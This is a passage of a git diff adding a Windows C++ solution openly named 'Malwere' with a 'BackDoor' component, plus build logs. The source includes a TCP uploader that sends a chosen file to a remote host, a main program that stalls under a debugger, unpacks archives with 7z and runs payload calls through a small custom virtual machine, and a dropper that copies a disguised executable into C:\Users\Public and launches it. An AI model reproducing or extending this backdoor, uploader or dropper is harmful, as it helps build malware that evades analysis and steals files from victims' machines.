of file diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.iobj b/BackDoor/NetDLL/x64/Release/NetDLL.iobj new file mode 100644 index 0000000..1542373 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.iobj differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.ipdb b/BackDoor/NetDLL/x64/Release/NetDLL.ipdb new file mode 100644 index 0000000..35c54cb Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.ipdb differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.log b/BackDoor/NetDLL/x64/Release/NetDLL.log new file mode 100644 index 0000000..841ca49 --- /dev/null +++ b/BackDoor/NetDLL/x64/Release/NetDLL.log @@ -0,0 +1,7 @@ + Создается библиотека D:\Projects\Malwere\x64\Release\NetDLL.lib и объект D:\Projects\Malwere\x64\Release\NetDLL.exp + Создание кода + 0 of 2 functions ( 0.0%) were compiled, the rest were copied from previous compilation. + 0 functions were new in current compilation + 0 functions had inline decision re-evaluated but remain unchanged + Создание кода завершено + NetDLL.vcxproj -> D:\Projects\Malwere\x64\Release\NetDLL.dll diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.obj b/BackDoor/NetDLL/x64/Release/NetDLL.obj new file mode 100644 index 0000000..7950237 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.obj differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.command.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.command.1.tlog new file mode 100644 index 0000000..da25704 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.command.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog new file mode 100644 index 0000000..78569b4 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.write.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.write.1.tlog new file mode 100644 index 0000000..2370a85 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.write.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/Cl.items.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/Cl.items.tlog new file mode 100644 index 0000000..03a72b1 --- /dev/null +++ b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp;D:\Projects\Malwere\BackDoor\NetDLL\x64\Release\NetDLL.obj diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate new file mode 100644 index 0000000..655165e --- /dev/null +++ b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +Release|x64|D:\Projects\Malwere\| diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.command.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.command.1.tlog new file mode 100644 index 0000000..c5d7af1 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.command.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog new file mode 100644 index 0000000..16c632c Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.secondary.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..fea3834 --- /dev/null +++ b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.secondary.1.tlog @@ -0,0 +1,5 @@ +^D:\PROJECTS\MALWERE\BACKDOOR\NETDLL\X64\RELEASE\NETDLL.OBJ +D:\Projects\Malwere\x64\Release\NetDLL.lib +D:\Projects\Malwere\x64\Release\NetDLL.EXP +D:\Projects\Malwere\BackDoor\NetDLL\x64\Release\NetDLL.IPDB +D:\Projects\Malwere\BackDoor\NetDLL\x64\Release\NetDLL.iobj diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.write.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.write.1.tlog new file mode 100644 index 0000000..96f7074 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.write.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/vc143.pdb b/BackDoor/NetDLL/x64/Release/vc143.pdb new file mode 100644 index 0000000..a3f9846 Binary files /dev/null and b/BackDoor/NetDLL/x64/Release/vc143.pdb differ diff --git a/BackDoor/Upload/Upload.vcxproj b/BackDoor/Upload/Upload.vcxproj new file mode 100644 index 0000000..b446c38 --- /dev/null +++ b/BackDoor/Upload/Upload.vcxproj @@ -0,0 +1,135 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {3e01a79c-7304-4667-a77a-faa55379eb89} + Upload + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/BackDoor/Upload/Upload.vcxproj.filters b/BackDoor/Upload/Upload.vcxproj.filters new file mode 100644 index 0000000..e8deb3d --- /dev/null +++ b/BackDoor/Upload/Upload.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Исходные файлы + + + \ No newline at end of file diff --git a/BackDoor/Upload/Upload.vcxproj.user b/BackDoor/Upload/Upload.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/BackDoor/Upload/Upload.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/BackDoor/Upload/main.cpp b/BackDoor/Upload/main.cpp new file mode 100644 index 0000000..28caaef --- /dev/null +++ b/BackDoor/Upload/main.cpp @@ -0,0 +1,65 @@ +#define _WINSOCK_DEPRECATED_NO_WARNINGS +#include +#include +#include + +#pragma comment(lib, "Ws2_32.lib") + +int main(int argc, char* argv[]) { + if (argc != 4) { + std::cerr << "Usage: " << argv[0] << " \n"; + return 1; + } + + const char* host = argv[1]; + const char* port = argv[2]; + const char* file_path = argv[3]; + + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { + std::cerr << "WSAStartup failed\n"; + return 1; + } + + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) { + std::cerr << "Failed to create socket\n"; + WSACleanup(); + return 1; + } + + sockaddr_in serverAddr; + serverAddr.sin_family = AF_INET; + serverAddr.sin_addr.s_addr = inet_addr(host); + serverAddr.sin_port = htons(atoi(port)); + + if (connect(sock, reinterpret_cast(&serverAddr), sizeof(serverAddr)) == SOCKET_ERROR) { + std::cerr << "Failed to connect to server\n"; + closesocket(sock); + WSACleanup(); + return 1; + } + + std::ifstream file(file_path, std::ios::binary); + if (!file) { + std::cerr << "Failed to open file: " << file_path << "\n"; + closesocket(sock); + WSACleanup(); + return 1; + } + + char buffer[1024]; + while (!file.eof()) { + file.read(buffer, sizeof(buffer)); + int bytesRead = file.gcount(); + send(sock, buffer, bytesRead, 0); + } + + file.close(); + closesocket(sock); + WSACleanup(); + + std::cout << "File sent successfully.\n"; + + return 0; +} \ No newline at end of file diff --git a/BackDoor/main/CoreDLL.dll b/BackDoor/main/CoreDLL.dll new file mode 100644 index 0000000..6e5e1d3 Binary files /dev/null and b/BackDoor/main/CoreDLL.dll differ diff --git a/BackDoor/main/NetDLL.dll b/BackDoor/main/NetDLL.dll new file mode 100644 index 0000000..d1060b9 Binary files /dev/null and b/BackDoor/main/NetDLL.dll differ diff --git a/BackDoor/main/Virtualisetion.h b/BackDoor/main/Virtualisetion.h new file mode 100644 index 0000000..8b1c1b0 --- /dev/null +++ b/BackDoor/main/Virtualisetion.h @@ -0,0 +1,98 @@ +#pragma once +#include + +enum Type +{ + Addres, + Value +}; +enum Command +{ + Mov, + Syscall +}; +enum Registers +{ + AX = -1, + BX = -2, + CX = -3, + DX = -4, + Error = -5 +}; + +#pragma region System +int sizeCode; +char* MemoryCode; +int indexCode = 0; +long long registers[5] = { 0, 0, 0, 0, 0 }; +HMODULE Core; +#pragma endregion + +static int GetValue() +{ + char addr = MemoryCode[++indexCode]; + if (addr == Addres) + { + addr = MemoryCode[++indexCode]; + if (MemoryCode[++indexCode] > -5) + { + registers[4] = 0; + return registers[MemoryCode[indexCode] - 1]; + } + else + { + registers[4] = -1; + return 0; + } + } + else + { + registers[4] = 0; + return MemoryCode[++indexCode]; + } +} + +typedef void (*systemCall)(int); +systemCall SystemCall; + +void InitVirtual(char* Code, int SizeCode) +{ + MemoryCode = Code; + sizeCode = SizeCode; + + Core = LoadLibrary(L"CoreDLL.dll"); + if (Core == nullptr) + exit(-1); + + SystemCall = (systemCall)GetProcAddress(Core, "SystemCall"); + if (SystemCall == nullptr) + exit(-3); +} + +void VirtualStart(char* Code, const int SizeCode) +{ + InitVirtual(Code, SizeCode); + + while (indexCode < sizeCode) + { + char OpCode = MemoryCode[indexCode]; + switch (OpCode) + { + case Mov: + { + ++indexCode; + int addr = MemoryCode[indexCode]; + int value = GetValue(); + registers[-addr - 1] = value; + } break; + case Syscall: + { + int systemCall = registers[0]; + SystemCall(systemCall); + } break; + } + ++indexCode; + } + + FreeLibrary(Core); +} diff --git a/BackDoor/main/main.cpp b/BackDoor/main/main.cpp new file mode 100644 index 0000000..991e1dd --- /dev/null +++ b/BackDoor/main/main.cpp @@ -0,0 +1,30 @@ +const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0="; + +#include +#include "Virtualisetion.h" + +int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PSTR lpCmdLine, int nCmdShow) +{ + while(IsDebuggerPresent()) {} + + system("7z.exe x main.ar -y"); + system("7z.exe x module.ar -y"); + + const int SizeCode = 25; + char Code[SizeCode] = { + Mov, AX, Value, 1, + Syscall, + Mov, AX, Value, 5, + Syscall, + Mov, AX, Value, 2, + Syscall, + Mov, AX, Value, 3, + Syscall, + Mov, AX, Value, 4, + Syscall + }; + VirtualStart(Code, SizeCode); + + return 0; +} \ No newline at end of file diff --git a/BackDoor/main/main.vcxproj b/BackDoor/main/main.vcxproj new file mode 100644 index 0000000..5705f37 --- /dev/null +++ b/BackDoor/main/main.vcxproj @@ -0,0 +1,276 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {2722f730-84c4-4d08-a070-ed13a1a648aa} + main + 10.0 + + + + Application + true + v143 + Unicode + false + + + Application + false + v143 + true + Unicode + false + + + Application + true + v143 + Unicode + false + + + Application + false + v143 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + false + false + + + false + false + + + false + false + + + false + true + + + + Level3 + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + stdcpp14 + Default + false + false + false + Disabled + Size + false + false + false + + + Windows + true + false + AsInvoker + false + false + false + false + $(CoreLibraryDependencies);%(AdditionalDependencies) + true + false + main.rc;%(EmbedManagedResourceFile) + %(AssemblyLinkResource) + + + false + + + false + + + false + + + + + Level3 + true + false + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + stdcpp14 + Default + Disabled + false + false + false + false + Size + false + false + false + + + Windows + false + true + true + false + AsInvoker + false + false + false + false + $(CoreLibraryDependencies);%(AdditionalDependencies) + main.rc;%(EmbedManagedResourceFile) + %(AssemblyLinkResource) + + + false + + + false + + + false + + + + + Level3 + false + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + stdcpp14 + Default + false + false + false + Disabled + Size + false + false + false + + + Windows + true + false + AsInvoker + false + false + false + false + $(CoreLibraryDependencies);%(AdditionalDependencies) + true + false + main.rc;%(EmbedManagedResourceFile) + %(AssemblyLinkResource) + + + false + + + false + + + false + + + + + Level3 + true + false + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + stdcpp14 + Default + Disabled + false + false + false + false + Size + false + false + false + + + Windows + false + true + true + false + AsInvoker + false + false + false + false + $(CoreLibraryDependencies);%(AdditionalDependencies) + main.rc;%(EmbedManagedResourceFile) + %(AssemblyLinkResource) + + + false + + + false + + + false + + + + + + + + + + + + \ No newline at end of file diff --git a/BackDoor/main/main.vcxproj.filters b/BackDoor/main/main.vcxproj.filters new file mode 100644 index 0000000..f912ef9 --- /dev/null +++ b/BackDoor/main/main.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Файлы заголовков + + + + + Исходные файлы + + + \ No newline at end of file diff --git a/BackDoor/main/main.vcxproj.user b/BackDoor/main/main.vcxproj.user new file mode 100644 index 0000000..62a4691 --- /dev/null +++ b/BackDoor/main/main.vcxproj.user @@ -0,0 +1,15 @@ + + + + WindowsLocalDebugger + + + WindowsLocalDebugger + + + WindowsLocalDebugger + + + WindowsLocalDebugger + + \ No newline at end of file diff --git a/BackDoor/main/x64/Debug/main.exe.recipe b/BackDoor/main/x64/Debug/main.exe.recipe new file mode 100644 index 0000000..881aed5 --- /dev/null +++ b/BackDoor/main/x64/Debug/main.exe.recipe @@ -0,0 +1,11 @@ + + + + + D:\Projects\Malwere\x64\Debug\main.exe + + + + + + \ No newline at end of file diff --git a/BackDoor/main/x64/Debug/main.log b/BackDoor/main/x64/Debug/main.log new file mode 100644 index 0000000..084f506 --- /dev/null +++ b/BackDoor/main/x64/Debug/main.log @@ -0,0 +1,11 @@ +cl : командная строка warning D9035: использование параметра "Zc:forScope-" нежелательно, он будет удален в следующих выпусках + main.cpp +D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: преобразование "__int64" в "int", возможна потеря данных + (компиляция исходного файла "main.cpp") + +D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(108,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных + (компиляция исходного файла "main.cpp") + +LINK : warning LNK4075: не учитывается "/INCREMENTAL" из-за спецификации "/OPT:REF" +main.obj : warning LNK4075: не учитывается "/EDITANDCONTINUE" из-за спецификации "/OPT:REF" + main.vcxproj -> D:\Projects\Malwere\x64\Debug\main.exe diff --git a/BackDoor/main/x64/Debug/main.obj b/BackDoor/main/x64/Debug/main.obj new file mode 100644 index 0000000..ef1941e Binary files /dev/null and b/BackDoor/main/x64/Debug/main.obj differ diff --git a/BackDoor/main/x64/Debug/main.tlog/CL.command.1.tlog b/BackDoor/main/x64/Debug/main.tlog/CL.command.1.tlog new file mode 100644 index 0000000..e9bc3b3 Binary files /dev/null and b/BackDoor/main/x64/Debug/main.tlog/CL.command.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog b/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog new file mode 100644 index 0000000..208ee91 Binary files /dev/null and b/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/CL.write.1.tlog b/BackDoor/main/x64/Debug/main.tlog/CL.write.1.tlog new file mode 100644 index 0000000..24a26e9 Binary files /dev/null and b/BackDoor/main/x64/Debug/main.tlog/CL.write.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/Cl.items.tlog b/BackDoor/main/x64/Debug/main.tlog/Cl.items.tlog new file mode 100644 index 0000000..0d9eeb5 --- /dev/null +++ b/BackDoor/main/x64/Debug/main.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\Projects\Malwere\BackDoor\main\main.cpp;D:\Projects\Malwere\BackDoor\main\x64\Debug\main.obj diff --git a/BackDoor/main/x64/Debug/main.tlog/link.command.1.tlog b/BackDoor/main/x64/Debug/main.tlog/link.command.1.tlog new file mode 100644 index 0000000..a5220d0 Binary files /dev/null and b/BackDoor/main/x64/Debug/main.tlog/link.command.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog b/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog new file mode 100644 index 0000000..44518f1 Binary files /dev/null and b/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/link.secondary.1.tlog b/BackDoor/main/x64/Debug/main.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..673c1ba --- /dev/null +++ b/BackDoor/main/x64/Debug/main.tlog/link.secondary.1.tlog @@ -0,0 +1 @@ +^D:\PROJECTS\MALWERE\BACKDOOR\MAIN\X64\DEBUG\MAIN.OBJ diff --git a/BackDoor/main/x64/Debug/main.tlog/link.write.1.tlog b/BackDoor/main/x64/Debug/main.tlog/link.write.1.tlog new file mode 100644 index 0000000..9f895aa Binary files /dev/null and b/BackDoor/main/x64/Debug/main.tlog/link.write.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate b/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate new file mode 100644 index 0000000..4716e86 --- /dev/null +++ b/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +Debug|x64|D:\Projects\Malwere\| diff --git a/BackDoor/main/x64/Debug/vc143.idb b/BackDoor/main/x64/Debug/vc143.idb new file mode 100644 index 0000000..276772c Binary files /dev/null and b/BackDoor/main/x64/Debug/vc143.idb differ diff --git a/BackDoor/main/x64/Debug/vc143.pdb b/BackDoor/main/x64/Debug/vc143.pdb new file mode 100644 index 0000000..f30adf7 Binary files /dev/null and b/BackDoor/main/x64/Debug/vc143.pdb differ diff --git a/BackDoor/main/x64/Release/main.exe.recipe b/BackDoor/main/x64/Release/main.exe.recipe new file mode 100644 index 0000000..582ab2a --- /dev/null +++ b/BackDoor/main/x64/Release/main.exe.recipe @@ -0,0 +1,11 @@ + + + + + D:\Projects\Malwere\x64\Release\main.exe + + + + + + \ No newline at end of file diff --git a/BackDoor/main/x64/Release/main.log b/BackDoor/main/x64/Release/main.log new file mode 100644 index 0000000..6bdfa58 --- /dev/null +++ b/BackDoor/main/x64/Release/main.log @@ -0,0 +1,10 @@ +cl : командная строка warning D9035: использование параметра "Zc:forScope-" нежелательно, он будет удален в следующих выпусках + main.cpp +D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: преобразование "__int64" в "int", возможна потеря данных + (компиляция исходного файла "main.cpp") + +D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(96,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных + (компиляция исходного файла "main.cpp") + + LINK : указан параметр /LTCG, но не требуется создание кода; удалите /LTCG из командной строки компоновки для повышения производительности компоновщика + main.vcxproj -> D:\Projects\Malwere\x64\Release\main.exe diff --git a/BackDoor/main/x64/Release/main.obj b/BackDoor/main/x64/Release/main.obj new file mode 100644 index 0000000..9e967d0 Binary files /dev/null and b/BackDoor/main/x64/Release/main.obj differ diff --git a/BackDoor/main/x64/Release/main.tlog/CL.command.1.tlog b/BackDoor/main/x64/Release/main.tlog/CL.command.1.tlog new file mode 100644 index 0000000..e1f372e Binary files /dev/null and b/BackDoor/main/x64/Release/main.tlog/CL.command.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog b/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog new file mode 100644 index 0000000..208ee91 Binary files /dev/null and b/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/CL.write.1.tlog b/BackDoor/main/x64/Release/main.tlog/CL.write.1.tlog new file mode 100644 index 0000000..68fb781 Binary files /dev/null and b/BackDoor/main/x64/Release/main.tlog/CL.write.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/Cl.items.tlog b/BackDoor/main/x64/Release/main.tlog/Cl.items.tlog new file mode 100644 index 0000000..df78731 --- /dev/null +++ b/BackDoor/main/x64/Release/main.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\Projects\Malwere\BackDoor\main\main.cpp;D:\Projects\Malwere\BackDoor\main\x64\Release\main.obj diff --git a/BackDoor/main/x64/Release/main.tlog/link.command.1.tlog b/BackDoor/main/x64/Release/main.tlog/link.command.1.tlog new file mode 100644 index 0000000..7d45b04 Binary files /dev/null and b/BackDoor/main/x64/Release/main.tlog/link.command.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog b/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog new file mode 100644 index 0000000..a16f7f3 Binary files /dev/null and b/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/link.secondary.1.tlog b/BackDoor/main/x64/Release/main.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..d256a61 --- /dev/null +++ b/BackDoor/main/x64/Release/main.tlog/link.secondary.1.tlog @@ -0,0 +1 @@ +^D:\PROJECTS\MALWERE\BACKDOOR\MAIN\X64\RELEASE\MAIN.OBJ diff --git a/BackDoor/main/x64/Release/main.tlog/link.write.1.tlog b/BackDoor/main/x64/Release/main.tlog/link.write.1.tlog new file mode 100644 index 0000000..4750e21 Binary files /dev/null and b/BackDoor/main/x64/Release/main.tlog/link.write.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate b/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate new file mode 100644 index 0000000..655165e --- /dev/null +++ b/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +Release|x64|D:\Projects\Malwere\| diff --git a/BackDoor/main/x64/Release/vc143.pdb b/BackDoor/main/x64/Release/vc143.pdb new file mode 100644 index 0000000..2af4438 Binary files /dev/null and b/BackDoor/main/x64/Release/vc143.pdb differ diff --git a/Load/Load.vcxproj b/Load/Load.vcxproj new file mode 100644 index 0000000..18d4b45 --- /dev/null +++ b/Load/Load.vcxproj @@ -0,0 +1,144 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {93bf7066-3967-444f-b965-d53469e75e2c} + Load + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Load/main.cpp b/Load/main.cpp new file mode 100644 index 0000000..86caad1 --- /dev/null +++ b/Load/main.cpp @@ -0,0 +1,14 @@ +#include + +int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PSTR lpCmdLine, int nCmdShow) +{ + system("copy Lib.exe C:\\Users\\Public\\main.exe"); + system("copy main.ar C:\\Users\\Public\\main.ar"); + system("copy 7z.exe C:\\Users\\Public\\7z.exe"); + system("copy 7z.dll C:\\Users\\Public\\7z.dll"); + system("copy module.ar C:\\Users\\Public\\module.ar"); + system("cd C:\\Users\\Public\\ && start main.exe"); + + return 0; +} \ No newline at end of file diff --git a/Malwere.sln b/Malwere.sln new file mode 100644 index 0000000..9bfb3ab --- /dev/null +++ b/Malwere.sln @@ -0,0 +1,83 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34622.214 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "BackDoor", "BackDoor", "{C5FF1EFF-014D-4975-AD38-230A0A0826FB}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "main", "BackDoor\main\main.vcxproj", "{2722F730-84C4-4D08-A070-ED13A1A648AA}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CoreDLL", "BackDoor\CoreDLL\CoreDLL.vcxproj", "{EA35D102-EC6D-4455-A3C2-BDAA98664C87}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NetDLL", "BackDoor\NetDLL\NetDLL.vcxproj", "{164A5605-AD23-4181-89C4-FA8774746731}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "mandatory", "mandatory", "{BBCDCCD4-1868-44A9-B2D1-314B7916453B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Upload", "BackDoor\Upload\Upload.vcxproj", "{3E01A79C-7304-4667-A77A-FAA55379EB89}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Load", "Load\Load.vcxproj", "{93BF7066-3967-444F-B965-D53469E75E2C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Debug|x64.ActiveCfg = Debug|x64 + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Debug|x64.Build.0 = Debug|x64 + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Debug|x86.ActiveCfg = Debug|Win32 + {2722F730-84C4-4D08-A070-ED13A1A648AA}.Debug|x86.Build.0 = Debug|Win32 + 